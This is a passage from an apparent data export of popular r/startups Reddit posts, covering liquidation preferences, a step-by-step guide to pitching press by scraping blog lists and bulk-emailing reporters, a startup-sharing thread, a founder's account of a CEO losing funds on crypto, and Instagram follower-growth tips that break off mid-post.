often liquidation preferences apply to the process of going public. When you go public, generally all series are converted to common stock, or exited. **The order in which proceeds or common stock are issued during an IPO are often influenced by existing liquidation preferences.** Now that you understand the risks, what can you do as a founder to ensure you don't end up receiving less than you expect from your eventual exit? First, you're generally better off taking a lower valuation early on than you are a higher multiple. Later stage investors aren't likely to accept a multiple lower than one offered to previous stage investors. If you're trying to raise $500K for your seed round, and you have an offer to take 20% of your company with a 1x multiple (2.5M valuation) or 10% of your company with a 2x multiple (5M valuation), and you expect to require multiple future round of financing, you'd likely be better off with the lower valuation. Second, don't raise more than you need. By their very nature, multiples work on the underlying investment. The more you raise, the higher the bar you need to achieve before you'll see proceeds for yourself. Third, when you're raising your first round of funding, model out your cap table all the way to when you expect to exit. Look at your long-term road map, and estimate how much money you'll need to raise at each stage to get there. Think about what your company will be worth when it hits each milestone. Build a cap table just like we did above, and see how much equity you'll have left, as well as what your distribution might be. Understanding the endgame helps you understand each step you take to get there in context. Hopefully that provides some helpful information to some of you. Remember, it's not just about the amount of money you raise along the path, or what your company is worth. The terms attached to the money will ultimately determine how much of that you and your investors receive. **TL;DR: Liquidation Preferences, when they exist, can be the single most important item when raising funds, and can result in founders receiving a substantially smaller share of proceeds when they sell. Understand and pay attention to them.** Edit: I don't want to crowd out the discussion threads with Thank Yous to people for the kind words, but I'm reading them and absolutely appreciate them! I'm glad people are finding this information useful!",Bizzle_worldwide,456,64,1545431790,/r/startups/comments/a8f6xz/why_didnt_i_get_any_money_from_my_startup_a_guide/,https://www.reddit.com/r/startups/comments/a8f6xz/why_didnt_i_get_any_money_from_my_startup_a_guide/,self.startups,True,,,,, 5ww9gf,startups,"This exact process has gotten my startup written about in the New York Times, CNN, Mashable, TechCrunch, etc. It's a long, detailed post, but it should work for your company too.","**Shameless plug: This is a chapter of a book I co-wrote with Vincent Dignan. You can** [buy the full book](https://secretsaucenow.com) **and get 14 more chapters, just like this one, breaking down every other channel.** #How to get press: the complete guide# We can pretend like press doesn’t matter after we have it, but until then, it brings in traffic, users, social validation, and legitimacy. Those are things that are hard to get enough of. It’s taken me years of trial and error, the help of a lot of really smart marketers, and tons of time tweaking language and strategy to figure out a repeatable process that works across the board for every company. Using these methods, I’ve been successful getting my company and others published with some of the heavy-hitting content sites. These have included: * Time magazine (actually got a cover story there) * BBC * The Guardian * The New York Times * CNN * TechCrunch * PandoDaily * Slate * Gizmodo * Mashable And hundreds of smaller blogs and websites. This process, if followed the way I spell it out below, should work well for you. With great content or a compelling story, you’ll have the potential to get published in major publications. On the surface, the process of getting press seems reasonably simple. All you need to do is find a reporter or blogger who might like to write about you, and e-mail them your pitch. But doing that well and making it scale can become very complex very quickly. We’ll take you through step by step, and by the end of this guide, it should take you less than a day to e-mail up to a thousand relevant press contacts with all the right information to make them want to write about you. Even marginally interesting companies and products should get a half dozen mentions in the press when doing so. We’ll cover the following: 1. Managing overall strategy and approach 2. Finding the publications that would likely write about you (and programmatically break them down into manageable lists) 3. Finding an angle to pitch 4. Creating a press kit 5. Writing the perfect, personalized e-mail (at scale) 6. Sending large amounts of e-mail, prepopulating fields, and allowing for personalization Now, let’s go get you some press! ##STRATEGY AND APPROACH## Customer Profiling Whenever I begin a marketing effort, I like to really try and get into the mind of the person I’m selling to, regardless of what it is I may be selling. In this case, we’re selling to the reporter, and what we’re selling is that we’re legitimate and interesting enough that their audience will want to hear about us. There’s also a pecking order among reporters. Somee high-profile bloggers and reporters can spend most of their time covering their favorite companies and on analysis, while some of the lower-profile or younger reporters have a large quota they have to meet and can barely rephrase press releases before they throw them on their blog. It takes a unique strategy to reach the different levels on the totem pole. Though there may be some exceptions due to reporters’ pet interests, it rarely makes sense to pitch to the highest tier first when we’re looking for press cover- age. They’re big enough that if what you’re doing isn’t shaking up Silicon Valley, they probably don’t care. Our strategy will actually be quite the reverse. One of the first things reporters do when your pitch lands in their inbox is see what other reporters are saying about you (or if anyone has written about you at all). Naturally, reporters like to see some level of social proof before they make a move. If other people are writing about you, it signals that you’re worth writing about. We’re going to use that to our advantage. (This doesn’t apply if you know people will write about you and you’re giving an exclusive. If you’re already that type of company, you probably won’t be reading this anyway!) ###The Press Pyramid### To solve the “What do people find if they google you?” problem, we will build a pyramid of press mentions starting with blogs and sites that are small and hungry for content, and then we’ll work our way up to the eight-hundred-pound gorillas. http://i.imgur.com/WrTwlAn.png So we want to start at the bottom rung: the hobbyist with a decent following, the small tech blog just getting started, the small companies doing what they can to pay the bills with a little traffic and some well- placed Google AdSense ads, etc. But most of them are blogs you don’t read often and may not have even heard of, so how do we find them? ( is is where it gets fun.) ##LIST BUILDING## The first thing we need to do before we can sort the websites into their separate tiers is to generate a mammoth list of blogs that we can easily import into tools we’ll use later. All we’ll need in the beginning are URLs of publications that write about companies like ours. We have tools to find contact information within those blogs, but the tools have to know where to start. A word of caution: Blogs that are only vaguely related and reporters who write about things that are only kind of like your company will not write about you. For example, if we make iPad cases, a blog that writes about iPad apps isn’t even worth approaching. So when we build the list, let’s narrow our options as closely as we can. ###List-Building Method 1: Blog Rankings### We’re going to use a couple of sites that rank blogs within their categories and scrape for the URLs of blogs in the categories that apply to us. First, download the [Scraper Chrome Extension](https://chrome.google.com/webstore/detail/scraper/mbigbapnjcgaffohmbkdlecaccepngjd?hl=en) (or its equivalent in the browser of your choice). Now we go to our blog-ranking website. Let’s start with [Alltop](http://alltop.com). Go to Alltop and find your category, remember- ing to be as narrow as possible when choosing. We’ll use my former startup, Grasswire, as an example. Grasswire is a newsroom for the Internet. It lets everyday people come together to geek out about and write the news—usually by finding and verifying social media posts. So we’re going to search for all the blogs related to social media and journalism. The Alltop social media page looks like this: http://i.imgur.com/FZNObRc.png We see the classic suspects: TechCrunch and Mashable. But we also see some sites you might not be familiar with: SmartBrief on Social Media and Social Media Examiner. We need to add them to our list. Right-click on one of the sites in red, and click on the Scraper tool. Then click “Export to Google Docs.” Now we have a fairly decent list of sites with their URLs that might write about us. Repeat the process in as many categories as exactly match your company (check journalism as well), and then switch over to [BlogRank](http://blogrank.com). BlogRank is a bit more complicated to scrape from. First, search for your category using the search bar. It will ask you to select a view, but it doesn’t matter which view you choose, since we’ll be scraping them all. Again, we’re going to right-click on the name of a blog, and click “Scrape.” You’ll see the Scraper tool pop up just as it did with Alltop, but this time it appears to pull in only one blog. It’s not scraping all of the content we want it to, because BlogRank is set up in HTML tables. We need to modify what the Scraper is looking for. http://i.imgur.com/7MnZJfx.png With the Scraper window still open, we’ll edit the XPath reference, which is located at the top left of the tool. The XPath probably says something like `//div[3]/table[2]/tbody/tr[2]/td/a`. All we have to do to make it scrape everything is change the final number in `tr[2]` (which stands for table row 2) to `tr[*]`, which tells the Scraper to gather every row. With that change, the XPath reference should now read `//div[3]/table[2]/tbody/tr[*]/td/a`. Click “Scrape” at the bottom of the tool, and the results on the right side should look like they did for Alltop. Now we’re ready to export to Google Docs. http://i.imgur.com/02cu9kk.png Repeat the process for any other categories in BlogRank. We should now have a list of hundreds of blogs relevant to what we want to target. We’ll expand the list with one more hack later, but we’ll treat that separately, so just work with this for now. There are some duplicates, and scraping BlogRank brought in the URLs for the rich site summary (RSS) feeds as well (which we don’t want), so we’ll need to clean this list up before we can manipulate and import it. ##Scrubbing the List## If we take the BlogRank Google Docs we just created, we can see that the odd rows from row three on only contain the RSS URLs we don’t want. Let’s get rid of those. is is a bit hack-y, and I’m sure there’s a better way, but it works for me. In cell C1, enter the following `=MOD(ROW(),2)`, and then copy that formula down (once your cursor turns into the cross when hovering over the bottom right corner of the cell) to the rest of the spreadsheet. The result should be every odd C cell (C1, C3, C5, etc.) containing a 1 and every even C cell (C2, C4, C6) containing a 0. Now select the entire C column, click on “Data,” and select “Sort sheet by column C A ->Z” “The numbers in column C won’t change, but the rest of your sheet will be nicely separated out for easy deletion. Find anything that’s empty in column A and delete its row. Once you’ve done this, you should have a column that is strictly blog URLs that we can import into the tools we’ll use later. Do this for each Google Doc spreadsheet you created, and then combine them into one giant list. Hopefully it contains over seven hundred total sites at this point. We will inevitably have some duplicates, so once we have everything combined, let’s get rid of them. In the new cell C1, write `=UNIQUE(A:B)` and hit “Enter.” This should create a list with only the unique entries in columns C and D. You can’t yet delete columns A and B since they’re linked to columns C and D using a formula, so copy the values from columns C and D and paste them in a fresh Google Doc. What you just created is an enormous list of all of the top blog URLs in the categories and industries that would be most likely to write about you. Give yourself a pat on the back; that’s pretty awesome! But we’re only getting started. Before we start building a press kit and sending out e-mails, there’s yet another way to generate a list. This list takes a lot less time to create. ## List-Building Method 2: Google News ## Getting a list of blogs in our categories may not cover all the bases. e next method to build our list will be scraping the results from the Google News API. This can be difficult because some scrapers start and stop working at different times. The best scraper currently requires Firefox and a Firefox plug-in, but it works quite well. Once you have the extension installed, 1. Go to digitalmethods.net/Dmi/ToolGoogleNewsScraper. 2. Ignore the top input that says “Enter Sources.” 3. Put your keywords in the second input (“Keywords”). 4. Click “Run.” Once the scraper runs, you can download the URLs of sites that mention your keyword by clicking “Output.” It will download as either a TXT or a simple CSV file. This is, of course, much easier to use and manipulate than our other list. I haven’t found anything of a particular region to be of any value, so I would delete those (unless you’re from that region or your product is specifically relevant there). Other than that, I would leave the CSV file as is or copy and paste the information into your Google Doc. The entire process can be a bit annoying, but if you combined the two methods, you may now have over a thousand URLs, and it should have taken you only a few minutes. It will be easy to go from URL to e-mail address later (I promise), so let’s put together something to send the reporters. ##CREATING YOUR ANGLE## News isn’t worthy of publishing just because it exists. Part of the job of any journalist or reporter is curation—deciding what is worthy of being published in their publication, whether that publication is a blog or the New York Times. Your job as someone looking for press is to show them how you meet their standards and would be interesting to their audience. “We could go into all sorts of journalistic principles that determine why something makes it into a publication and what principles they use, but really it’s just common sense. Is it timely? Is it relevant? Is it interesting? Why would someone like _you_ be interested in reading this?” Again, we’ll take my startup, Grasswire, for example. Grasswire is an Internet newsroom that lets everyone fact-check and sort social media content in real time. But what does that mean? In the first Pirates of the Caribbean film, Jack Sparrow defined the difference between need and is this way: “That’s what a ship is, you know. It’s not just a keel and a hull and a deck and sails. That’s what a ship needs. But what a ship is—what the Black Pearl really is—is freedom.” What Grasswire _needs_ is an Internet newsroom. But what Grasswire _is_ is democratization of journalism and information. It’s turning over the power of governments and corporations to everyday people. It’s letting ordinary people control the information that determines how they see the world. Not many people want to read about yet another social media tool, but people love to read about freedom. So in the initial pitch, we won’t go into detail about how the technology works, what APIs we pull from, why the user interface/user design (UI/UX) look like they do, and so on. We’ll talk about the story of Grasswire: what we’re doing, why we’re doing it, and why it needs to be done. Reporters don’t often like products, but they usually love missions. Grasswire also has the benefit of a unique angle—I lived in my car for three months to get Grasswire off the ground. That’s interesting to most reporters, if only to understand how I lived in a car, where I slept, where I showered, and so on. That also goes in the arsenal and should be mentioned when we’re sending our press kit e-mail. ##THE PRESS KIT## Now we have an even bigger list of sites that would potentially write about our startup. (I usually start working with a list of about a thousand URLs.) We’ll create a semi-automated way of sending the e-mails soon. What we have to do next, though, is create something to send them. The press kit is basically a ZIP file of all of the content the reporter may need access to, and this will vary from startup to startup. Grasswire’s original press kit was, honestly, mediocre. But that press kit combined with a few e-mails got us our first press (BBC, The Guardian, Slate, Yahoo Finance, etc.) before we even had a product. Let’s look over the basic structure of a press kit. A press kit should include the following: 1. Company overview 2. Founder photos 3. Logos 4. Press mentions 5. Product screenshots, videos, or photographs The Grasswire press kit included another document we called the “Grasswire Story,” because the story of me living in my car for a few months to get the startup off the ground was quite compelling. If you can think of anything else specific to your company that would make for an interesting story, include it in a separate document. ###Company Overview### The company overview is a simple document that explains who you are and what you do. Think of it as an elevator pitch for newspapers. For Grasswire we included a tagline, a one-sentence description, three “how it works” paragraphs, and a call to action. An example might look something like this. (Note: This is a press kit for a real company we did work for, and it got them more than a little press, from *AllThingsD* to the *Wall Street Journal*). > ####Underwater Audio Overview#### > Tagline: Waterproof iPods and headphones for swimmers > Description: Underwater Audio has developed technology that allows us to waterproof iPods, headphones, and other electronic devices for swimmers. > How it works: Underwater Audio music players come waterproofed from the inside out. They look, feel, and smell like any other 2GB iPod Shuffle—but they work underwater. > Underwater Audio seals the iPod from the inside out using a proprietary process, and we have tested it at a depth of two hundred feet (though we don’t recommend Under- water Audio for diving). Dunk it in water, leave it there, and it still works. > The Underwater Audio player will work with any head- phones—though under the water, you’ll need waterproof headphones to create a watertight seal with your ear to have good audio. Our recommended picks are available along with your iPod on UnderwaterAudio.com. > Underwater Audio iPods and bundles are available at UnderwaterAudio.com starting at $149. Of course, Underwater Audio is fairly easy to describe—they sell waterproof iPods. Your company might be a little more nebulous, but you should be able to nail it down to both a one-sentence description and a short explanation, not more than a couple paragraphs. I like to start by pretending I’m explaining a company to a five-year-old and then make my explanation more technical and detailed from there, if necessary. ####Founder Photos#### Yes, this might seem weird, but some publications really like photographs. Send headshots if you have to, but really if there’s an interesting angle to your story, you can tell the reporters through your founder photos as well. Most of the Grasswire team photos were published because my cofounder and I were standing in front of the car where I lived while we got Grasswire off the ground. Underwater Audio’s founder photos might be something underwater with a waterproof iPod, demoing the product. These photos are rarely used, so you can go out on a limb. ####Logos#### I’ve had some reporters ask for AI or PSD folders that will scale better, while most prefer simple PNG logos. It’s not difficult to throw them all in a folder, send them over, and let the reporters decide which ones to use. ####Press Mentions#### This is basically to show some social proof. It’s just a document with links to other articles that have been written about you. ####Product Screenshots, Videos, or Photographs#### The most important of these three are screenshots. It’s difficult to explain how a product works without a visual. Include any other product demo videos or photographs a reporter may want to use. Remember the strategy here is to give them every piece of content they could possibly want, and then let them decide what is relevant for their type of media. ##THE E-MAIL## We’re almost ready to start systematically gathering reporters’ e-mails and sending them our press kit, but first we need some text to populate the e-mail. Ask ten reporters what they would like to see in press pitches, and all ten of them will say, “Keep it short.” And when they say short, they mean it. Looking through our press pitches, anything that was longer than two short paragraphs cut our response rates in half. So I like to boil my pitches down to three easy parts: 1. Introduction 2. One-sentence pitch 3. Offer or ask (sample or press kit) Here’s the general framework for an e-mail that works well: >Hey [name], >My name is Austen, from Underwater Audio. We developed a process that makes iPods completely waterproof. It’s some pretty cool technology you and your readers might be interested in. We’re at UnderwaterAudio.com, and I have a [press kit/sample/demo] I’d like to send your way to [review/check out] if you’d be interested. Let me know! >Thanks, >[contact information] The most important part of that e-mail, to wax Steve Jobs–like, is what isn’t there. No long introductions, no links, no videos, no demos—just, “We’re here. Are you interested?” I’ve also gone back and forth with varying levels of personalization, a la “I read your article about X, and I really liked Y” or “I’m a huge fan of your work” enough to make it clear that the e-mail is unique to them, but the difference in results seems to be negligible, especially if you don’t put in the research to understand the writer or his publication. (I accidentally told a TechCrunch writer I liked his work in PandoDaily once. That is the only angry response I’ve ever received.) It’s really easy for a reporter to reply with, “Yeah, send me what you’ve got.” And now you’re introduced and talking! It can be tempting to send out a thousand press kits or tons of links on the initial e-mail, but trust me: the other approach gets much better results. Also note that you’ll want to avoid links, especially since you’ll be sending e-mails in bulk. A thousand similar e-mails with the same link will look suspicious to e-mail providers, and you will probably start hitting spam folders. ##SENDING THE E-MAILS## Now we have a press kit ready, some e-mail text to send, and a list of sites to send them to. It’s time to start gathering e-mail addresses and sending e-mails. ( Ths is, surprisingly enough, the same step.) To save us hours of time, we’re going to use BuzzStream. BuzzStream helps you navigate to sites, automatically pull contact information, send prepopulated but personalized e-mails, and follow-up on those e-mails. To save us hours of time, we’re going to use BuzzStream. BuzzStream helps you navigate to sites, automatically pull contact information, send prepopulated but personalized e-mails, and follow-up on those e-mails. The starter pack, which will be enough to meet our needs, is twenty-nine dollars per month (with a fourteen-day free trial!), so it’s well worth our time to not have to do all of this manually. Open up your BuzzStream account, and you’ll see this page: http://i.imgur.com/SdziYl4.png Hit “Paste URLs” and paste the URLs from your Google Docs. (You still have them, right?) Click “Add websites,” and wait a minute for BuzzStream to do its job. It usually takes between fifteen and thirty minutes for it to process a thousand websites. What you have now is a giant list of websites with e-mail addresses, Twitter handles, etc. http://i.imgur.com/hpAGLbS.png I use domain authority as the best sort method to decide how legitimate a blog or website is. Generally, the biggest sites (TechCrunch, Wired, etc.) will have a BuzzStream rank of 90+; really, really good blogs will be 80+. Anything in the 40–70 range is usually an amateur blog. If you’re looking to go straight to the top, look at 80–100. If you want to start at the bottom and build your way up in legitimacy, go for the 40–70. I don’t even bother with anything that has a domain authority lower than 30. Now we have our list. Let’s go to work! ###Reaching Out### The temptation here is to send a mass e-mail blast. Fight that temptation! Even if it takes us a few days to pore through and send out five hundred really good e-mails, it will be worth it. I promise. BuzzStream makes it easy for you to take an e-mail template and fill it in with variables. (For example: “[firstname]” or “[sitename].”) Once it finds the right contact information, it will automatically plug it in, so you could be pretty close to simply hitting “Send” for every e-mail you create. It’s also possible to reach out on Twitter, but this doesn’t scale very well. First, find out if there are one or two blogs that would be your ideal publications. Find the ideal person there, and reach out to them on Twitter. Try sending a message like this: @username Hey I have something to send you about [your angle]. What’s a good e-mail? This creates a more personal relationship, and if you’re vague enough and your angle is interesting enough, few will refuse to give you their e-mail address. I like to send tweets to two people, but refrain from tweeting at fifty people. First because that’s annoying, second because the other reporters will see you blindly reaching out, and third because you’ll be suspended from Twitter for spamming. Some reporters’ contact information won’t be brought up as well as some others. Make sure to find the right person to contact. If you’re Grasswire, don’t e-mail the person who writes about The Internet of Things. It’s worth spending twice as much time to find the right person. Now we’re going to open up the BuzzBar, which will let us go through our list of websites, open them up, and pull and send information to contacts. It will track the e-mails we’ve sent, remind us to send follow-ups, and let us get rid of the sites we don’t like. I try to send five hundred e-mails per day if I’m working a full day. Yes, it’s a full day’s work to send five hundred e-mails. That’s because you should try to understand who the person receiving the pitch is and speak specifically to them. If you’re copying and pasting and just hitting “Send” on every e-mail, you’re doing it wrong. ###Follow Up### If you don’t receive a response after a few days, you can use BuzzStream to follow up. But don’t be annoying about it. Remember that running a company is a marathon, not a sprint. (A startup is more like a sprint and then a marathon.) You may want to get coverage from these reporters again. So be cordial, don’t burn any bridges, and be grateful if anyone writes about you.",tianan,456,62,1488379697,/r/startups/comments/5ww9gf/this_exact_process_has_gotten_my_startup_written/,https://www.reddit.com/r/startups/comments/5ww9gf/this_exact_process_has_gotten_my_startup_written/,self.startups,True,,,,, ocdb9l,startups,Share Your Startup - July 2021 - Upvote This For Maximum Visibility!," [r/startups](https://www.reddit.com/r/startups/) wants to hear what you're working on! &#x200B; Tell us about your startup in a comment within this submission. Follow this template: * **Startup Name / URL** * **Location of Your Headquarters** * Let people know where you are based for possible local networking with you and access to local resources * **Elevator Pitch/Explainer Video** * **More details:** * What life cycle stage is your startup at? * Your role? * **What goals are you trying to reach this month?** * How could [r/startups](https://www.reddit.com/r/startups/) help? * Do NOT solicit funds publicly--this may be illegal for you to do so * **Discount for** [**r/startup**](https://www.reddit.com/r/startup/) **subscribers?** * Share how our community can get a discount \-------------------------------------------------- [Join our discord for instant chat, advice, and emotional support!](https://discord.gg/yjMZU8g) \-------------------------------------------------- **Startup Life Cycle Stages** (Max Marmer life cycle model for startups as used by Startup Genome and Kauffman Foundation) * 1. **Discovery** * Researching the market, the competitors, and the potential users * Designing the first iteration of the user experience * Working towards problem/solution fit (Market Validation) * Building MVP * 2. **Validation** * Achieved problem/solution fit (Market Validation) * MVP launched * Conducting Product Validation * Revising/refining user experience based on results of Product Validation tests * Refining Product through new Versions (Ver.1+) * Working towards product/market fit * 3. **Efficiency** * Achieved product/market fit * Preparing to begin scaling process * Optimizing the user experience to handle aggressive user growth at scale * Optimizing the performance of the product to handle aggressive user growth at scale * Optimizing the operational workflows and systems in preparation of scaling * Conducting validation tests of scaling strategies * 4. **Scaling** * Achieved validation of scaling strategies * Achieved an acceptable level of optimization of the operational systems * Actively pushing forward with aggressive growth * Conducting validation tests to achieve a repeatable sales process at scale * 5. **Profit Maximization** * Successfully scaled the business and can now be considered an established company * Expanding production and operations in order to increase revenue * Optimizing systems to maximize profits * 6. **Renewal** * Has achieved near peak profits * Has achieved near peak optimization of systems * Actively seeking to reinvent the company and core products to stay innovative * Actively seeking to acquire other companies and technologies to expand market share and relevancy * Actively exploring horizontal and vertical expansion to increase prevent the decline of the company If you are running a traditional business that is not designed to scale rapidly, feel free to reference a traditional business life cycle model and share what traditional business life cycle stage you are at.",AutoModerator,453,539,1625242213,/r/startups/comments/ocdb9l/share_your_startup_july_2021_upvote_this_for/,https://www.reddit.com/r/startups/comments/ocdb9l/share_your_startup_july_2021_upvote_this_for/,self.startups,True,,,,, k3res4,startups,You need to study your competition.,"Hey Guys, As we all know, studying our competition is necessary, and one of the most important things to study is their ad strategy. You can understand a lot about their messaging, creative and funnel strategy when you look at their ads. Here's a simple way to understand what your competition is doing in terms of their ad strategy:- - Google ""Facebook Ads Library"". - Write your competitor's page name. - Look at their ads, and scroll to the bottom. - If an ad is running for a month, or more, chances are that they are getting good conversions from it. - So study their copy, their creatives, click on the ad, and see what their funnel is, what their landing page looks like, what action it wants you to take, what mail you get when you do that action, etc. This will help you learn from them, get creative ideas, and actually do things better than what they are doing. I've done this for multiple businesses, across various industries, and this always saves me money (and time) to test things, especially in the initial stages.",kushalgothi,451,78,1606722270,/r/startups/comments/k3res4/you_need_to_study_your_competition/,https://www.reddit.com/r/startups/comments/k3res4/you_need_to_study_your_competition/,self.startups,True,,,,, 9p58o4,startups,"Our ""CEO"" secretly invested the last 30% of our funding in crypto...","The 30% he invested is gone. He's a ""startup founder"", in the same way Billy McFarland was a ""festival promoter"". We were running out of investor money and he couldn't find any more so in a last ditch effort to fundraise he put the rest into crypto without telling us. I only found out today after giving him an ultimatum because my salary hasn't been paid. He was the only person with access to the accounts and in addition to the 30% that he lost in crypto another 30% is unaccounted for, I believe to his personal expenses. Over half our funding has been squandered at this point. I cannot stress how much this is not a surprise. This guy is a clown and over the past year I had to put up with the following: * Tried to convince me that an ICO was a *great* way for us to fundraise, despite our product having *nothing* to do with blockchain. I told him I wasn't willing to do the mental gymnastics to somehow shoehorn blockchain into our product. * Tried to convince me to let the company pay my rent so he could write it off as a business expense *and* I could avoid paying income tax on that portion of my salary, thus allowing the company to cut my gross pay while I still receive the same net. I believe this would be illegal. * Cared *nothing* about the product or customers beyond making it to IPO or attracting an acquisition offer. * Cancelled our membership at a coworking space and had us do all our meetings at *Starbucks*. * **Incessantly** pitched our product, to everybody, before we even had an MVP to show them. He **would not wait** until the MVP was ready, just charged full speed ahead with the same slide deck and disappointing presentation and kept getting the same rejections. Fundraising is not my expertise but I believe we lost many potential investors by pitching to them before we were ready. **edit:** Also kept applying us to incubators and accelerators that we did not meet the eligibility requirements for. * ""Hired"" an intern studying computer science. He was terrible and never delivered any usable code but we still spent months trying to bring him on board and give him work because ""he's free labor!"". * Also hired a worthless developer (his friend, a bootcamp grad) who contributed nothing. Literally just attended our meetings and talked. I *knew* she did nothing because it took her months to even ask how to setup the local dev environment on her machine! For months she didn't even check out the code and get it running! She eventually left and somehow convinced a manufacturing company to hire her as a web developer. This was my first startup, and has been quite the learning experience. I learned a lot of what *not* to do. The bad signs were there but I was willing to ride it out because I got 10% equity, a reasonable salary, and was able to work remotely. I had other freelance work so I wasn't fully invested. Please, ask me anything about this disaster story. Also if you've read this far and are looking for a full-stack developer in Los Angeles or remotely, PM me.",AnAnonymousTech,436,182,1539830690,/r/startups/comments/9p58o4/our_ceo_secretly_invested_the_last_30_of_our/,https://www.reddit.com/r/startups/comments/9p58o4/our_ceo_secretly_invested_the_last_30_of_our/,self.startups,True,,,,, ipffq9,startups,I’ve raised $20m+ from VCs. I made this step-by-step infographic to help founders determine if they should raise capital for their business or not,"The question I’m most often asked recently is “should I raise (equity) capital?” So I created an infographic to answer this question. If you’re wondering whether or not you should raise capital, please refer to this infographic for my perspective, after 10 years and $21m experience, on your answer. Link: [http://ryanhvaughn.com/wp-content/uploads/2020/09/Raising-equity-capital-flowchart.pdf](http://ryanhvaughn.com/wp-content/uploads/2020/09/Raising-equity-capital-flowchart.pdf) Also, if you've raised VC before I'd love your thoughts on how this tracks to your experience. If this is useful, I may also try to answer the logical follow up question next: “How do I raise capital.” Let me know if you’d be interested in seeing that. NOTE: This post got removed due to a link on the image, so I removed that and am reposting.",ryanhvaughn,436,90,1599656452,/r/startups/comments/ipffq9/ive_raised_20m_from_vcs_i_made_this_stepbystep/,https://www.reddit.com/r/startups/comments/ipffq9/ive_raised_20m_from_vcs_i_made_this_stepbystep/,self.startups,True,,,,, 73y35j,startups,"I recently interviewed a bunch of Instagram influencers on how they would grow their following from 0 to 10K if they had to start all over again. Here's what I learnt, and the best tips you can apply right away to your Instagram marketing.","Let me guess: You have followed all the best tips found on the Interwebz. You create fresh content daily. You use the right hashtags. You post 3 times a day. You reply to everyone who comments on your posts. Yet. The number of followers on your Instagram account remains pitiful. You don’t even remember the last time your follower count went up. At this rate that this is going on, you are going to give up. How can Instagram be a profitable channel for your restaurant, if your number of followers don’t grow? Fret not. I am here to help. I reached out to several Instagram marketing experts, and got them to answer this one question: “If you were to grow a brand new Instagram account from zero followers to 10,000 followers in under 30 days, how would you do it?” Below are their answers. And I am 100% sure you will find something new to try… and skyrocket your Instagram following. **1. Zach Benson (Assistagram)** 1. Powerliking method Cost $1200-$1700 a month, depends on how many likes per day 1-3x. What are powerlikes and why does it work? Powerlikes are likes/comments from a network of large accounts (100k+ accounts are considered large) as soon as your post goes live. The intent is to play into Instagram’s algorithm where a post’s first ten minutes are most crucial for gaining traction and determining how it’ll do in reaching beyond your current following. It works two-fold: By flooding traffic from the large accounts over to yours from the ‘Following’ tab, as well as triggering the algorithm to recognise that large accounts are enjoying that piece of content. This will not only increase the post’s reach to more of your current followers but increases its chances significantly in hitting the Explore page, where you’re reaching beyond your current audience and grow organically and quickly. 2. Telegram groups/rounds Telegram is a messenger app that has become solely used for Instagram engagement groups. It’s hugely popular as you can code bots that take over the entire process for you, making everything automatic. Below are screenshots of arguably the best and most exclusive engagement group, XPLOR Rounds. Prerequisites: 80k+ followers, 2k+ likes per post avg Niche: General/all 3. Direct message groups (free method) Create a DM engagement group of 15 people with similar accounts, niche and a high quality audience— in this strategy, multiple Instagram accounts help each other grow organically by mutually liking & commenting on their content. The larger the accounts participating, the more effective it is. You will need to be in 50-100 groups and participate constantly throughout the day, each and everyday. Better to hire a VA to do this. 4. Shoutouts/giveaways/contests Network with other big Instagram accounts in your niche and try and set up a giveaway contest with them. This is a great way to grow your following fast. By collaborating with a 3 million follower account and 300k + account, you could grow up to 2,500 -3,000 + in less than a week. For example, maybe you have a hotel page and want more travel followers, you could create a 2 night all inclusive stay in your best suite for 2, full-board. To be entered into the contest, you have to follow these accounts (the two large travel accounts and yours) and the more friends you tag, the higher chances of you winning. The set up price of these contests vary in price and could cost you anywhere from $500 to a couple thousand dollars. It just depends on who you know, like how big your network is and what you can offer these huge accounts in return to create a mutually beneficial business relationship. 5. Post viral content Open up your Instagram app, look at whats on your Explore page tab. All viral videos and pictures with thousands and thousands of views and likes. Most of this content is what we call viral content, unique and original and “way out there”. The more open you are to posting viral content the higher chances you will have of going viral on instagram while using the above methods. 6. Be consistent To be good at anything, you must do it every single day. For example, you aren’t going to be an awesome sports player if you only play 1-2x a week. You have to practice each and every day. Same with social media, you have to be consistent and posting each and every day, respond to comments, direct messages, like and comment on your target market, do market research, research and rotate hashtags daily, participate in engagement groups, use Instagram lives, stories, etc and create original epic content. Easily 3-4 hours a day. If you don’t have time to do this, outsource it. Build your brand. Your name is your most important asset. Reputation is what other’s think you are. Character is what you are. Grow your following, provide great value for your fans, teach, inspire, give, give, GIVE and watch your circle of influence grow, network expand, and more opportunities will come your way. You will find that it’s a lot easier to negotiate anything, seal deals, pretty much do anything when you grow your following and brand. You are the brand. You are the commodity. Think of Instagram as your new name card, so when you are out and about and you meet someone, exchange biz cards but then say hey let’s stay in touch via Instagram, pull up your account on their phone and then they are like WOW you have 100k followers. You are legit! Definitely peaks their interest more and helps you stand out from everyone else they met that night. ------- **2. Nathan Chan (Foundr Magazine)** I would research the market I’m looking to serve, then create great looking content and post 3x a day. Then I would find other Instagram pages that serve this target market and get them to share my content as much as possible from either paying, or working out reciprocal deals using my own accounts as leverage. Then I would find other big accounts that serve this niche and convince them to like and comment on my posts. Then I would run at least 2 competitions/giveways to get people to like and follow us – I would give away something that of super high value that would attract my target audience / niche – (that way we’re building a following of buyers too around this market). ----- **3. Alex Tooby** My answer will help you reach 10,000 REAL and TARGETED followers.. Not just any follower because what’s 10k followers worth if they’re not going to engage with your content or purchase your products or services? So having said that.. here’s my approach: if you want your account to take off quickly you need to create a feeling of authority – like you’ve been doing this for ages and have perfected every inch of your Instagram strategy. To do that you need to laser focus on what your account is all about. It shouldn’t be “food, fitness, healthy lifestyle, travel, etc” it should be just ONE of those thing. Niche down as far as you can then curate images that fall into a very specific theme. Aesthetics are everything.. are your images white and bright? dark and moody? are they all desaturated except for the pinks and greens? Figure out what your aesthetic “style” is and stick to it like glue. Upload a variety of photos to populate your feed, then post at least once per day moving forward. Select hashtags that aren’t too large (limit yourself to 5 tags that have over 1million posts associated with them) and write engaging captions that evoke a feeling, educate, or provide some sort of value to your audience. Then.. the most time consuming part. Put yourself out there and start engaging with your target market. Like, comment and follow as much as you can (without getting blocked by IG) in the most authentic way possible. Make real comments, start true conversations, show your audience that you’re a real person who cares and is present behind the account. You could easily spend upwards of 1 hour a day doing this. On top of this you can add SFS with complimentary accounts, run a giveaway, add relative content to your Instagram stories daily and go on IG live often to answer your audiences questions. Bottom line is – Be present! Show up, be authentic and provide value. Good luck! ------ **4. Ali Mirza (ISocialYou)** I would piggyback on the giant. Let me explain… You are just starting out and have no audience. Right? But there are so many other people in your niche who are 10 steps ahead of you (with huge audiences). So reach out to them and ask them to feature you. Yes, you may have to pay a little bit but it’s totally worth it. If you pick the right influencers, their followers is your target audience also. So don’t hesitate to spend some money. Let’s create a step by step process so we can 